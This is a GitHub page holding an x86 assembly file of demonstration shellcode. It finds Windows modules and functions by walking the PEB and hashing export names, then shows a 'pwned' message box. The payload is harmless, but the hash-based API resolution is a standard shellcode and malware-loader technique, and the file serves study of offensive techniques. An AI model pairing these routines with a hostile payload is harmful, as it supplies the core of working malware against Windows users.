Skip to content
Permalink
master
Go to file
Cannot retrieve latest commit at this time.
0 contributors

Users who have contributed to this file

346 lines (302 sloc) 15.7 KB
;;;;MMMMMMMMMMMMMMMMMMMMMWNXK0kxdooodddooloxO0KNWMMMMMMMMMMMMMMMMMMMMMMMMM
;;;;MMMMMMMMMMMMMMMMMWXOxl:;'... ...';;,,'.....;oxOKNWMMMMMMMMMMMMMMMMMMMM
;;;;MMMMMMMMMMMMMMWXOdlc:;;;:cc::;,',lxxxxo:,....,,,:lkKWMMMMMMMMMMMMMMMMM
;;;;MMMMMMMMMMMMN0dc:::loxkO0OOkxxdl:cdOOOOxoc;',lc'..';lkXWMMMMMMMMMMMMMM
;;;;MMMMMMMMMMNkc'...';ldkkO0Oxdoc:;,,;::::cclc,:xxc,',,'';dKWMMMMMMMMMMMM
;;;;MMMMMMMMW0l,...,coddooolc;,'.... ..... .,;,cdxdl:cc,'..,dXMMMMMMMMMMM
;;;;MMMMMMMNx;....cdxdddol:;;;::cccc::::;;'.''...':looddl;'...:kNMMMMMMMMM
;;;;MMMMMMNd'...'cddxdoc::codxOO000OOOOkkxdlll,....,coxxxo:'...'oXMMMMMMMM
;;;;MMMMMNd'. .colll;,,:lddxkkdlc;;;;:::loodxo:,,'',cddxxdc,....lXMMMMMMM
;;;;MMMMNd. 'okxdl'.':looooc;'''''.......';ldddl::;,;oxxxd:'....lXMMMMMM
;;;;MMMMO, .,d0Oko' .,lddl;'',:looollll:,....;oddxo:'.,oxxxo:'....oNMMMMM
;;;;MMMWd....;xOkx; .,oOx;..;ccc:cc:;;:codc'..'lxkxc'..;oxxxl'....,kWMMMM
;;;;MMMNo....;xOkd' .:xOl'':oc;:;;:::;'.'lx:. 'oxxl,..'cdddl;'....lXMMMM
;;;;MMMXc....:xxxo. .:xkl',ll;;;,::;,;:,.,oo'. .:ddl,...,oodoc,....,OMMMM
;;;;MMMXc....,dkkd' .,oOx;,:oc,,,;;'':c,.'lo' .;ddo;...,odddl'....'xWMMM
;;;;MMMNo.. ,xOkd; ..:kOo;,:lc;,,,;:;,..:dc.. .cxxd;...,odddc'.....oNMMM
;;;;MMMWk' .,oxxdo' ..,lxkdc,,;:::::,'',cdd;...,dxkl'...cddxd:'.....oNMMM
;;;;MMMMXc....,lkkko'....,lxkxl;,''',;lodo:'...'lxxo,. 'odddo;......dWMMM
;;;;MMMMMKc....,oOOkd:. ..,:looooooolc:,... .'lddl,. .cooddc,.....,OWMMM
;;;;MMMMMWKc. .,okkkxl;.. ........... ..;cll:. .:oddxo;......cKMMMM
;;;;MMMMMMMXl....'cdxdlodl;'.. ...;col:;'. .:oodxo:......,kWMMMM
;;;;MMMMMMMMNx;....';;coxkxdol:;''',;:ccldxxxo:'....;loodxo:'......oNMMMMM
;;;;MMMMMMMMMWKd;......,cddddkkdl::ccllolc:,'.....,coodxxo:''.....cKMMMMMM
;;;;MMMMMMMMMMMWXxc,.. ..',;cloo:'',,,,'.......';:cclooc,'......:0WMMMMMM
;;;;MMMMMMMMMMMMMMN0d:.. .......,;,. .... ...,;,,;:::;'........;OWMMMMMMM
;;;;MMMMMMMMMMMMMMMMWN0xl:,......';,'......,,'''',,,'..........cKWMMMMMMMM
;;;;MMMMMMMMMMMMMMMMMMMMMWXK0Okxxkkdcc:::::::,'........... ..:KMMMMMMMMMM
;;;;MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN0xool::clll:;,''........':kWMMMMMMMMMM
;;;;MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNXOxoc:;;;::::;,,'',cdONMMMMMMMMMMM
;;;;MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWX0xdl:;;,,,;:ok0NMMMMMMMMMMMMM
;;;;MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXKK000KNWMMMMMMMMMMMMMMMM
;;;;----------------------------------------------------------------------;
;;;; x86 Message Box Shellcode ;
;;;;----------------------------------------------------------------------;
;;;; Author: Forrest Orr - 2020 ;
;;;;----------------------------------------------------------------------;
;;;; Contact: forrest.orr@protonmail.com ;
;;;;----------------------------------------------------------------------;
;;;; Licensed under GNU GPLv3 ;
;;;;______________________________________________________________________;
;;;; ## Features ;
;;;; ;
;;;; ~ Dynamic module base resolution via name hash ;
;;;; ~ Dynamic export address resolution via name hash ;
;;;; ~ Export forwarding support ;
;;;; ~ Stable and tested on any version of Windows 7, 8.1 or 10 ;
;;;;______________________________________________________________________;
;%Define DEBUG
%Ifdef DEBUG
Global _MessageBox32
%Endif
%Include "..\Include\Windows.inc"
Bits 32
Section .text
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; MessageBoxA ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
_MessageBox32:
Push Ebp
Mov Ebp, Esp
Push 000D4E88h ; Kernel32.dll string hash. The hashing algorithm is case insensitive (forced uppercase)
Call GetModuleBase32
Push 000d5786h ; LoadLibraryA
Push Eax
Call ResolveExportAddress32
Push '32'
Push 'User'
Push Esp
Call Eax
Push 0006b81ah ; MessageBoxA
Push Eax
Call ResolveExportAddress32
Push 'd'
Push 'pwne'
Mov Ecx, Esp
Push 'net'
Push 'orr.'
Push 'est-'
Push 'forr'
Push 'www.'
Mov Edx, Esp
Push 0
Push Edx
Push Ecx
Push 0
Call Eax
Mov Esp, Ebp
Pop Ebp
Ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; GetModuleBase32 ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ArgdwNameHash Equ 08h
GetModuleBase32: ; First parameter = the string hash of the target module base name (not full path)
Push Ebp
Mov Ebp, Esp
Push Edi ; Walk through the load order module list in the PEB by flink until either the initial module in the list (Ntdll.dll) is reached again, or a NULL entry is identified.
Push Esi
Mov Esi, TIB32.pPEB
FS Lodsd
Mov Eax, Dword [Eax + PEB32.pLDRData]
Mov Edi, Dword [Eax + PEB_LDR_DATA32.pInLoadOrderModuleList]
Mov Esi, Edi ; Esi will be my moving module entry pointer, while Edi will be a static reference to the initial load order module (should always be Ntdll.dll)
Xor Eax, Eax ; If the list pointer is invalid, we still need to return 0.
Jmp GetModuleBase32.CheckValidModuleEntry ; Since Esi and Edi will be equal when the loop begins, skip the Ntdll check on the first iteration.
.CheckNextModuleEntry: ; Esi = current module, Edi = Ntdll module. Eax will be the module base after loop exits, assuming it was ever found
Cmp Edi, Esi
Je GetModuleBase32.FinalModuleEntry
.CheckValidModuleEntry:
Test Esi, Esi
Jz GetModuleBase32.FinalModuleEntry
Lea Ebx, Dword [Esi + LDR_MODULE32.usBaseDllName]
Test Ebx, Ebx
Jz GetModuleBase32.LoadNextModuleEntry
Mov Ecx, Dword [Ebx + UNICODE_STRING32.Buffer]
Test Ecx, Ecx
Jz GetModuleBase32.LoadNextModuleEntry
Push 1 ; Unicode string boolean
Push Ecx
Call GetStringHash32
Cmp Eax, Dword [Ebp + ArgdwNameHash]
Je GetModuleBase32.FoundTargetModule
.LoadNextModuleEntry:
Xor Eax, Eax ; This will ensure we return 0 in the event the target module is not found.
Mov Esi, Dword [Esi + LDR_MODULE32.LoadOrderFlink]
Jmp GetModuleBase32.CheckNextModuleEntry
.FoundTargetModule:
Mov Eax, Dword [Esi + LDR_MODULE32.pBase]
.FinalModuleEntry:
Pop Esi
Pop Edi
Mov Esp, Ebp
Pop Ebp
Retn 04h
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; ResolveExportAddress32 ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Arg_pModuleBase32 Equ 08h
Arg_dwFunctionHash Equ 0Ch
pImageExportTable Equ -04h
pModuleBase32 Equ -08h
pImageOptionalHeader32 Equ -0Ch
pImageFileHeader32 Equ -10h
pdwAddressOfNames32 Equ -14h
pdwAddressOfFunctions32 Equ -18h
pwAddressOfNameOEdinals32 Equ -1Ch
dwNumberOfAttemptedHashes Equ -20h
pForwardedModuleBase Equ -24h
dwFunctionAddress Equ -28h
pFunctionName32 Equ -2Ch
dwExportTableSize Equ -30h
ForwardedFunctionName Equ -130h ; 100h is 256, clean multiple of 4 for stack alignment.
ForwardedModuleName Equ -230h
StackSize Equ 230h
ResolveExportAddress32:
Bits 32
Push Ebp
Mov Ebp, Esp
Sub Esp, StackSize
Mov Eax, Dword [Ebp + Arg_pModuleBase32]
Mov Dword [Ebp + pModuleBase32], Eax
Mov Edx, Dword [Ebp + pModuleBase32]
Add Eax, Dword [Edx + IMAGE_DOS_HEADER.e_lfanew]
Add Eax, 4
Mov Dword [Ebp + pImageFileHeader32], Eax
Add Eax, IMAGE_FILE_HEADER_size
Mov Dword [Ebp + pImageOptionalHeader32], Eax
Mov Edx, Eax
Mov Eax, Dword [Ebp + Arg_pModuleBase32]
Add Eax, Dword [Edx + IMAGE_OPTIONAL_HEADER32.DataDirectory]
Mov Ecx, Dword [Edx + IMAGE_OPTIONAL_HEADER32.DataDirectory + 4] ; Size field in first data directory (export address table)
Mov Dword [Ebp + dwExportTableSize], Ecx
Mov Dword [Ebp + pImageExportTable], Eax
Mov Edx, Eax
Mov Eax, Dword [Ebp + Arg_pModuleBase32]
Add Eax, Dword [Edx + IMAGE_EXPORT_DIRECTORY.AddressOfNames]
Mov Dword [Ebp + pdwAddressOfNames32], Eax
Mov Edx, Dword [Ebp + pImageExportTable]
Mov Eax, Dword [Ebp + Arg_pModuleBase32]
Add Eax, Dword [Edx + IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals]
Mov Dword [Ebp + pwAddressOfNameOEdinals32], Eax
Mov Edx, Dword [Ebp + pImageExportTable]
Mov Eax, Dword [Ebp + Arg_pModuleBase32]
Add Eax, Dword [Edx + IMAGE_EXPORT_DIRECTORY.AddressOfFunctions]
Mov Dword [Ebp + pdwAddressOfFunctions32], Eax
Xor Eax, Eax
Mov Dword [Ebp + dwNumberOfAttemptedHashes], Eax
Mov Dword [Ebp + dwFunctionAddress], Eax ; Initialize to 0 for failed status
.GetFunctionName:
Mov Eax, Dword [Ebp + pImageExportTable]
Mov Eax, Dword [Eax + IMAGE_EXPORT_DIRECTORY.NumberOfNames]
Cmp Eax, Dword [Ebp + dwNumberOfAttemptedHashes]
Jbe ResolveExportAddress32.ReturnHash
Mov Eax, Dword [Ebp + dwNumberOfAttemptedHashes]
Lea Ecx, Dword [Eax * 4]
Mov Edx, Dword [Ebp + pdwAddressOfNames32]
Mov Eax, Dword [Ebp + Arg_pModuleBase32]
Add Eax, Dword [Ecx + Edx]
Mov Dword [Ebp + pFunctionName32], Eax
Push 0 ; Exports are always ANSI, never Unicode.
Push Eax
Call GetStringHash32
Cmp Eax, Dword [Ebp + Arg_dwFunctionHash]
Jnz ResolveExportAddress32.NextFunctionName
Mov Eax, Dword [Ebp + dwNumberOfAttemptedHashes]
Lea Edx, Dword [Eax + Eax]
Mov Eax, Dword [Ebp + pwAddressOfNameOEdinals32]
Movzx Eax, Word [Edx + Eax]
Lea Ecx, Dword [Eax * 4]
Mov Edx, Dword [Ebp + pdwAddressOfFunctions32]
Mov Eax, Dword [Ebp + Arg_pModuleBase32]
Add Eax, Dword [Ecx + Edx]
Mov Dword [Ebp + dwFunctionAddress], Eax ; We've resolved the address of the target function. However this may be a forwarder string, not code. Check and see if the address is within the export table to determine this.
Mov Ecx, Dword [Ebp + pImageExportTable]
Mov Edx, Ecx
Add Edx, Dword [Ebp + dwExportTableSize]
Cmp Eax, Ecx
Jl ResolveExportAddress32.ReturnHash ; Function address below the start of the EAT? If so it's a legit function.
Cmp Eax, Edx
Jge ResolveExportAddress32.ReturnHash ; Function address above the end of the EAT? If so it's a legit function in this context.
Mov Dword [Ebp + dwFunctionAddress], 0 ; The function address falls within the EAT. We can assume that it is a forwarder. Extract the module/function name: <Module name (no extension)>.<Function name>
Xor Ecx, Ecx ; Forwarder string counter
Lea Ebx, Dword [Ebp + ForwardedModuleName] ; Initially the buffer register will point to the module name since this field comes first.
.ExtractForwarder:
Mov Dl, Byte [Eax + Ecx]
Cmp Dl, 0
Je ResolveExportAddress32.ResolveForwarder
Cmp Dl, '.'
Jne ResolveExportAddress32.NextForwarderByte
Mov Dword [Ebx], '.dll' ; The module name in a forwarder will not include a .dll extension. Add it so that we can generate a name hash which may match a module in the PEB loader list.
Add Ebx, 4
Mov Byte [Ebx], 0 ; Finalize module name string with null terminator
Lea Ebx, Dword [Ebp + ForwardedFunctionName] ; Switch the buffer register and begin building the function string
Inc Ecx ; Skip the '.' seperator
Jmp ResolveExportAddress32.ExtractForwarder
.NextForwarderByte:
Mov Byte [Ebx], Dl
Inc Ecx
Inc Ebx
Jmp ResolveExportAddress32.ExtractForwarder
.ResolveForwarder:
Mov Byte [Ebx], 0 ; Finalize the function name string with a null terminator.
;Lea Edx, Dword [Ebp + ForwardedFunctionName]
Lea Ebx, Dword [Ebp + ForwardedModuleName] ; Initially the buffer register will point to the module name since this field comes first.
Push 0
Push Ebx
Call GetStringHash32
Push Eax
Call GetModuleBase32
Test Eax, Eax
Jz ResolveExportAddress32.ReturnHash ; Failed to find the forwarded module in the PEB loader list. This could be because it is an API set (and these will never be in the list) or a module which simply has not been loaded yet.
Mov Dword [Ebp + pForwardedModuleBase], Eax
Push 0
Lea Edx, Dword [Ebp + ForwardedFunctionName]
Push Edx
Call GetStringHash32
Push Eax
Push Dword [Ebp + pForwardedModuleBase]
Call ResolveExportAddress32
Mov Dword [Ebp + dwFunctionAddress], Eax
Jmp ResolveExportAddress32.ReturnHash
.NextFunctionName:
Lea Eax, Dword [Ebp + dwNumberOfAttemptedHashes]
Inc Dword [Eax]
Jmp ResolveExportAddress32.GetFunctionName
.ReturnHash:
Mov Eax, Dword [Ebp + dwFunctionAddress]
Mov Esp, Ebp
Pop Ebp
Retn 08h
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; GetStringHash32 ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Arg_pTargetStr Equ 08h
Arg_bUnicode Equ 0Ch
GetStringHash32: ; First parameter = pointer to string, second parameter = boolean yes unicode or no unicode
Push Ebp
Mov Ebp, Esp
Push Edi
Mov Ecx, Dword [Ebp + Arg_pTargetStr]
Mov Edi, Dword [Ebp + Arg_bUnicode]
Xor Ebx, Ebx
.HashNextByte:
Cmp Byte [Ecx], 0
Je GetStringHash32.HashGenerated
Movzx Eax, Byte [Ecx]
Or Al, 60h
Movzx Edx, Al
Add Ebx, Edx
Shl Ebx, 1
Inc Ecx
Test Edi, Edi
Jz GetStringHash32.HashNextByte
Inc Ecx ; Skip an extra byte if this is a unicode string
Jmp GetStringHash32.HashNextByte
.HashGenerated:
Mov Eax, Ebx
Pop Edi
Mov Esp, Ebp
Pop Ebp
Retn 08h
End:
You can’t perform that action at this time.